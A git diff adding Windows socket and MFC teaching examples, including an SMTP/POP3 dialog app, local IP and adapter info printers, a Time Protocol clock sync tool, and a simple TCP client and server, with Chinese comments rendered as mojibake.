add member initialization here + //}}AFX_DATA_INIT + // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 + m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); +} + +void CSmtpPopDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CSmtpPopDlg) + // NOTE: the ClassWizard will add DDX and DDV calls here + //}}AFX_DATA_MAP +} + +BEGIN_MESSAGE_MAP(CSmtpPopDlg, CDialog) + //{{AFX_MSG_MAP(CSmtpPopDlg) + ON_WM_SYSCOMMAND() + ON_WM_PAINT() + ON_WM_QUERYDRAGICON() + ON_BN_CLICKED(IDC_SMTP, OnSmtp) + ON_BN_CLICKED(IDC_POP3, OnPop3) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CSmtpPopDlg message handlers + +BOOL CSmtpPopDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // Add "About..." menu item to system menu. + + // IDM_ABOUTBOX must be in the system command range. + ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); + ASSERT(IDM_ABOUTBOX < 0xF000); + + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) + { + CString strAboutMenu; + strAboutMenu.LoadString(IDS_ABOUTBOX); + if (!strAboutMenu.IsEmpty()) + { + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); + } + } + + // Set the icon for this dialog. The framework does this automatically + // when the application's main window is not a dialog + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + // TODO: Add extra initialization here + + return TRUE; // return TRUE unless you set the focus to a control +} + +void CSmtpPopDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + if ((nID & 0xFFF0) == IDM_ABOUTBOX) + { + CAboutDlg dlgAbout; + dlgAbout.DoModal(); + } + else + { + CDialog::OnSysCommand(nID, lParam); + } +} + +// If you add a minimize button to your dialog, you will need the code below +// to draw the icon. For MFC applications using the document/view model, +// this is automatically done for you by the framework. + +void CSmtpPopDlg::OnPaint() +{ + if (IsIconic()) + { + CPaintDC dc(this); // device context for painting + + SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); + + // Center icon in client rectangle + int cxIcon = GetSystemMetrics(SM_CXICON); + int cyIcon = GetSystemMetrics(SM_CYICON); + CRect rect; + GetClientRect(&rect); + int x = (rect.Width() - cxIcon + 1) / 2; + int y = (rect.Height() - cyIcon + 1) / 2; + + // Draw the icon + dc.DrawIcon(x, y, m_hIcon); + } + else + { + CDialog::OnPaint(); + } +} + +// The system calls this to obtain the cursor to display while the user drags +// the minimized window. +HCURSOR CSmtpPopDlg::OnQueryDragIcon() +{ + return (HCURSOR) m_hIcon; +} + +void CSmtpPopDlg::OnSmtp() +{ + // TODO: Add your control notification handler code here + CSmtpDlg csmtpdlg; + csmtpdlg.DoModal(); + +} + +void CSmtpPopDlg::OnPop3() +{ + // TODO: Add your control notification handler code here + CPop3Dlg pop3dlg; + pop3dlg.DoModal(); +} diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPopDlg.h" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPopDlg.h" new file mode 100644 index 0000000..2b65080 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPopDlg.h" @@ -0,0 +1,51 @@ +// SmtpPopDlg.h : header file +// + +#if !defined(AFX_SMTPPOPDLG_H__0795FE41_E431_4FC0_956B_3B7C061879FA__INCLUDED_) +#define AFX_SMTPPOPDLG_H__0795FE41_E431_4FC0_956B_3B7C061879FA__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +///////////////////////////////////////////////////////////////////////////// +// CSmtpPopDlg dialog + +class CSmtpPopDlg : public CDialog +{ +// Construction +public: + CSmtpPopDlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CSmtpPopDlg) + enum { IDD = IDD_SMTPPOP_DIALOG }; + // NOTE: the ClassWizard will add data members here + //}}AFX_DATA + + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CSmtpPopDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + HICON m_hIcon; + + // Generated message map functions + //{{AFX_MSG(CSmtpPopDlg) + virtual BOOL OnInitDialog(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + afx_msg void OnPaint(); + afx_msg HCURSOR OnQueryDragIcon(); + afx_msg void OnSmtp(); + afx_msg void OnPop3(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_SMTPPOPDLG_H__0795FE41_E431_4FC0_956B_3B7C061879FA__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/StdAfx.cpp" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/StdAfx.cpp" new file mode 100644 index 0000000..9250190 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/StdAfx.cpp" @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// SmtpPop.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + + + diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/StdAfx.h" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/StdAfx.h" new file mode 100644 index 0000000..33882f2 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/StdAfx.h" @@ -0,0 +1,27 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#if !defined(AFX_STDAFX_H__CF99EA9A_5063_4586_BDA8_C35B3076F306__INCLUDED_) +#define AFX_STDAFX_H__CF99EA9A_5063_4586_BDA8_C35B3076F306__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers + +#include // MFC core and standard components +#include // MFC extensions +#include // MFC Automation classes +#include // MFC support for Internet Explorer 4 Common Controls +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC support for Windows Common Controls +#endif // _AFX_NO_AFXCMN_SUPPORT + + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_STDAFX_H__CF99EA9A_5063_4586_BDA8_C35B3076F306__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/SmtpPop.ico" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/SmtpPop.ico" new file mode 100644 index 0000000..7eef0bc Binary files /dev/null and "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/SmtpPop.ico" differ diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/SmtpPop.rc2" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/SmtpPop.rc2" new file mode 100644 index 0000000..5a97ab3 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/SmtpPop.rc2" @@ -0,0 +1,13 @@ +// +// SMTPPOP.RC2 - resources Microsoft Visual C++ does not edit directly +// + +#ifdef APSTUDIO_INVOKED + #error this file is not editable by Microsoft Visual C++ +#endif //APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// Add manually edited resources here... + +///////////////////////////////////////////////////////////////////////////// diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/Thumbs.db" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/Thumbs.db" new file mode 100644 index 0000000..2c279d8 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/res/Thumbs.db" differ diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/resource.h" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/resource.h" new file mode 100644 index 0000000..57887d6 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/resource.h" @@ -0,0 +1,35 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Developer Studio generated include file. +// Used by SmtpPop.rc +// +#define IDM_ABOUTBOX 0x0010 +#define IDD_ABOUTBOX 100 +#define IDS_ABOUTBOX 101 +#define IDD_SMTPPOP_DIALOG 102 +#define IDR_MAINFRAME 128 +#define IDD_SMTP_DLG 129 +#define IDD_POP_DLG 132 +#define IDC_SMTP 1000 +#define IDC_POP3 1001 +#define IDC_SEND 1002 +#define IDC_EDIT1 1003 +#define IDC_EDIT2 1004 +#define IDC_EDIT4 1005 +#define IDC_EDIT3 1007 +#define IDC_EDIT5 1008 +#define IDC_EDIT6 1009 +#define IDC_EDIT7 1010 +#define IDC_REC 1012 +#define IDC_CANCAL 1013 +#define IDC_EDIT8 1014 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 135 +#define _APS_NEXT_COMMAND_VALUE 32771 +#define _APS_NEXT_CONTROL_VALUE 1015 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.cpp" "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.cpp" new file mode 100644 index 0000000..38f6036 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.cpp" @@ -0,0 +1,32 @@ +////////////////////////////////////////////////// +// GetAllIps.cppÎļþ + + +#include "../common/InitSock.h" + + +#include +CInitSock initSock; // ³õʼ»¯Winsock¿â + +void main() +{ + char szHost[256]; + // È¡µÃ±¾µØÖ÷»úÃû³Æ + ::gethostname(szHost, 256); + // ͨ¹ýÖ÷»úÃûµÃµ½µØÖ·ÐÅÏ¢ + hostent *pHost = ::gethostbyname(szHost); + // ´òÓ¡³öËùÓÐIPµØÖ· + in_addr addr; + for(int i = 0; ; i++) + { + char *p = pHost->h_addr_list[i]; + if(p == NULL) + break; + + memcpy(&addr.S_un.S_addr, p, pHost->h_length); + char *szIp = ::inet_ntoa(addr); + printf(" ±¾»úIPµØÖ·£º%s \n ", szIp); + } + + getchar (); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.sln" "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.sln" new file mode 100644 index 0000000..7a7d841 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GetAllIps", "GetAllIps.vcproj", "{AECD90B3-1136-492A-B9E5-9E0AD96CDBB9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {AECD90B3-1136-492A-B9E5-9E0AD96CDBB9}.Debug|Win32.ActiveCfg = Debug|Win32 + {AECD90B3-1136-492A-B9E5-9E0AD96CDBB9}.Debug|Win32.Build.0 = Debug|Win32 + {AECD90B3-1136-492A-B9E5-9E0AD96CDBB9}.Release|Win32.ActiveCfg = Release|Win32 + {AECD90B3-1136-492A-B9E5-9E0AD96CDBB9}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.suo" "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.suo" new file mode 100644 index 0000000..9660f69 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.suo" differ diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.vcproj" "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.vcproj" new file mode 100644 index 0000000..7b1e78c --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/GetAllIps.vcproj" @@ -0,0 +1,240 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/GetAllIps/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.cpp" "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.cpp" new file mode 100644 index 0000000..340af24 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.cpp" @@ -0,0 +1,65 @@ +//////////////////////////////////////////////// +// LocalHostInfo.cppÎļþ + +#include +#include + +#include "Iphlpapi.h" +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + +///////////////////////////////////////// +// È«¾ÖÊý¾Ý +u_char g_ucLocalMac[6]; // ±¾µØMACµØÖ· +DWORD g_dwGatewayIP; // Íø¹ØIPµØÖ· +DWORD g_dwLocalIP; // ±¾µØIPµØÖ· +DWORD g_dwMask; // ×ÓÍøÑÚÂë + +BOOL GetGlobalData() +{ + PIP_ADAPTER_INFO pAdapterInfo = NULL; + ULONG ulLen = 0; + + // ΪÊÊÅäÆ÷½á¹¹ÉêÇëÄÚ´æ + ::GetAdaptersInfo(pAdapterInfo,&ulLen); + pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen); + + // È¡µÃ±¾µØÊÊÅäÆ÷½á¹¹ÐÅÏ¢ + if(::GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS) + { + if(pAdapterInfo != NULL) + { + memcpy(g_ucLocalMac, pAdapterInfo->Address, 6); + g_dwGatewayIP = ::inet_addr(pAdapterInfo->GatewayList.IpAddress.String); + g_dwLocalIP = ::inet_addr(pAdapterInfo->IpAddressList.IpAddress.String); + g_dwMask = ::inet_addr(pAdapterInfo->IpAddressList.IpMask.String); + } + } + + printf(" \n -------------------- ±¾µØÖ÷»úÐÅÏ¢ -----------------------\n\n"); + in_addr in; + in.S_un.S_addr = g_dwLocalIP; + printf(" IP Address : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwMask; + printf(" Subnet Mask : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwGatewayIP; + printf(" Default Gateway : %s \n", ::inet_ntoa(in)); + + u_char *p = g_ucLocalMac; + printf(" MAC Address : %02X-%02X-%02X-%02X-%02X-%02X \n", p[0], p[1], p[2], p[3], p[4], p[5]); + + printf(" \n \n "); + + return TRUE; +} + +int main() +{ + // »ñÈ¡È«¾ÖÊý¾Ý + GetGlobalData(); + + getchar(); + return 0; +} diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.sln" "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.sln" new file mode 100644 index 0000000..bcca699 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LocalHostInfo", "LocalHostInfo.vcproj", "{70A05C74-4FED-424E-A662-CD8F24E70954}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {70A05C74-4FED-424E-A662-CD8F24E70954}.Debug|Win32.ActiveCfg = Debug|Win32 + {70A05C74-4FED-424E-A662-CD8F24E70954}.Debug|Win32.Build.0 = Debug|Win32 + {70A05C74-4FED-424E-A662-CD8F24E70954}.Release|Win32.ActiveCfg = Release|Win32 + {70A05C74-4FED-424E-A662-CD8F24E70954}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.suo" "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.suo" new file mode 100644 index 0000000..fe5e849 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.suo" differ diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.vcproj" "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.vcproj" new file mode 100644 index 0000000..b43a5e4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/LocalHostInfo.vcproj" @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/LocalHostInfo/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.cpp" "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.cpp" new file mode 100644 index 0000000..15d8f03 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.cpp" @@ -0,0 +1,78 @@ +////////////////////////////////////////////////////////// +// NetTime.cppÎļþ + + +#include "../common/InitSock.h" +#include +CInitSock initSock; + +void SetTimeFromTP(ULONG ulTime) // ¸ù¾Ýʱ¼äЭÒé·µ»ØµÄʱ¼äÉèÖÃϵͳʱ¼ä +{ + // WindowsÎļþʱ¼äÊÇÒ»¸ö64λµÄÖµ£¬ËüÊÇ´Ó1601Äê1ÔÂ1ÈÕÖÐÎç12:00µ½ÏÖÔÚµÄʱ¼ä¼ä¸ô£¬ + // µ¥Î»ÊÇ1/1000 0000Ã룬¼´1000Íò·ÖÖ®1Ã루100-nanosecond £© + FILETIME ft; + SYSTEMTIME st; + + // Ê×ÏȽ«»ù׼ʱ¼ä£¨1900Äê1ÔÂ1ÈÕ0µã0·Ö0Ãë0ºÁÃ룩ת»¯ÎªWindowsÎļþʱ¼ä + st.wYear = 1900; + st.wMonth = 1; + st.wDay = 1; + st.wHour = 0; + st.wMinute = 0; + st.wSecond = 0; + st.wMilliseconds = 0; + SystemTimeToFileTime(&st, &ft); + + // È»ºó½«Time ProtocolʹÓõĻù׼ʱ¼ä¼ÓÉÏÒÔ¼°ÊÅÈ¥µÄʱ¼ä£¬¼´ulTime + LONGLONG *pLLong = (LONGLONG *)&ft; + // ×¢Ò⣬Îļþʱ¼äµ¥Î»ÊÇ1/1000 0000Ã룬¼´1000Íò·ÖÖ®1Ã루100-nanosecond £© + *pLLong += (LONGLONG)10000000 * ulTime; + + // ÔÙ½«Ê±¼äת»¯»ØÀ´£¬¸üÐÂϵͳʱ¼ä + FileTimeToSystemTime(&ft, &st); + SetSystemTime(&st); +} + +int main() +{ + SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if(s == INVALID_SOCKET) + { + printf(" Failed socket() \n"); + return 0; + } + + // ÌîдԶ³ÌµØÖ·ÐÅÏ¢£¬Á¬½Óµ½Ê±¼ä·þÎñÆ÷ + sockaddr_in servAddr; + servAddr.sin_family = AF_INET; + servAddr.sin_port = htons(37); + // ÕâÀïʹÓõÄʱ¼ä·þÎñÆ÷ÊÇ129.132.2.21£¬¸ü¶àµØÖ·Çë²Î¿¼http://tf.nist.gov/service/its.htm + servAddr.sin_addr.S_un.S_addr = inet_addr("129.132.2.21"); + if(::connect(s, (sockaddr*)&servAddr, sizeof(servAddr)) == -1) + { + printf(" Failed connect() \n"); + return 0; + } + + // µÈ´ý½ÓÊÕʱ¼äЭÒé·µ»ØµÄʱ¼ä¡£Ñ§Ï°ÁËWinsock I/OÄ£ÐÍÖ®ºó£¬×îºÃʹÓÃÒì²½I/O£¬ÒÔ±ãÉèÖó¬Ê± + ULONG ulTime = 0; + int nRecv = ::recv(s, (char*)&ulTime, sizeof(ulTime), 0); + if(nRecv > 0) + { + ulTime = ntohl(ulTime); + SetTimeFromTP(ulTime); + printf(" ³É¹¦Óëʱ¼ä·þÎñÆ÷µÄʱ¼äͬ²½£¡\n"); + } + else + { + printf(" ʱ¼ä·þÎñÆ÷²»ÄÜÈ·¶¨µ±Ç°Ê±¼ä£¡\n"); + } + + ::closesocket(s); + + getchar (); + + return 0; +} + + diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.sln" "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.sln" new file mode 100644 index 0000000..4154630 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NetTime", "NetTime.vcproj", "{4BC9F808-D92D-4345-B38D-EE98219EBA10}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4BC9F808-D92D-4345-B38D-EE98219EBA10}.Debug|Win32.ActiveCfg = Debug|Win32 + {4BC9F808-D92D-4345-B38D-EE98219EBA10}.Debug|Win32.Build.0 = Debug|Win32 + {4BC9F808-D92D-4345-B38D-EE98219EBA10}.Release|Win32.ActiveCfg = Release|Win32 + {4BC9F808-D92D-4345-B38D-EE98219EBA10}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.suo" "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.suo" new file mode 100644 index 0000000..4285f97 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.suo" differ diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.vcproj" "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.vcproj" new file mode 100644 index 0000000..c288303 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/NetTime.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/NetTime/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.cpp" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.cpp" new file mode 100644 index 0000000..b1458d4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.cpp" @@ -0,0 +1,51 @@ +////////////////////////////////////////////////////////// +// TCPClient.cppÎļþ + + +#include "../common/InitSock.h" +#include +CInitSock initSock; // ³õʼ»¯Winsock¿â + +int main() +{ + // ´´½¨Ì×½Ú×Ö + SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if(s == INVALID_SOCKET) + { + printf(" Failed socket() \n"); + return 0; + } + + // Ò²¿ÉÒÔÔÚÕâÀïµ÷ÓÃbindº¯Êý°ó¶¨Ò»¸ö±¾µØµØÖ· + // ·ñÔòϵͳ½«»á×Ô¶¯°²ÅÅ + + // ÌîдԶ³ÌµØÖ·ÐÅÏ¢ + sockaddr_in servAddr; + servAddr.sin_family = AF_INET; + servAddr.sin_port = htons(4567); + // ×¢Ò⣬ÕâÀïÒªÌîд·þÎñÆ÷³ÌÐò£¨TCPServer³ÌÐò£©ËùÔÚ»úÆ÷µÄIPµØÖ· + // Èç¹ûÄãµÄ¼ÆËã»úûÓÐÁªÍø£¬Ö±½ÓʹÓÃ127.0.0.1¼´¿É + servAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); + + if(::connect(s, (sockaddr*)&servAddr, sizeof(servAddr)) == -1) + { + printf(" Failed connect() \n"); + return 0; + } + + // ½ÓÊÕÊý¾Ý + char buff[256]; + int nRecv = ::recv(s, buff, 256, 0); + if(nRecv > 0) + { + buff[nRecv] = '\0'; + printf(" ½ÓÊÕµ½Êý¾Ý£º%s", buff); + } + + // ¹Ø±ÕÌ×½Ú×Ö + ::closesocket(s); + + getchar (); + + return 0; +} diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.sln" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.sln" new file mode 100644 index 0000000..08736f7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TCPClient", "TCPClient.vcproj", "{306BCEF6-92AF-4E9B-9B58-5579D869AFF0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {306BCEF6-92AF-4E9B-9B58-5579D869AFF0}.Debug|Win32.ActiveCfg = Debug|Win32 + {306BCEF6-92AF-4E9B-9B58-5579D869AFF0}.Debug|Win32.Build.0 = Debug|Win32 + {306BCEF6-92AF-4E9B-9B58-5579D869AFF0}.Release|Win32.ActiveCfg = Release|Win32 + {306BCEF6-92AF-4E9B-9B58-5579D869AFF0}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.suo" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.suo" new file mode 100644 index 0000000..a935aad Binary files /dev/null and "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.suo" differ diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.vcproj" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.vcproj" new file mode 100644 index 0000000..81cef78 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/TCPClient.vcproj" @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPClient/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.cpp" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.cpp" new file mode 100644 index 0000000..290431f --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.cpp" @@ -0,0 +1,66 @@ +////////////////////////////////////////////////// +// TCPServer.cppÎļþ + + +#include "../common/InitSock.h" +#include +CInitSock initSock; // ³õʼ»¯Winsock¿â + +int main() +{ + // ´´½¨Ì×½Ú×Ö + SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if(sListen == INVALID_SOCKET) + { + printf("Failed socket() \n"); + return 0; + } + + // Ìî³äsockaddr_in½á¹¹ + sockaddr_in sin; + sin.sin_family = AF_INET; + sin.sin_port = htons(4567); 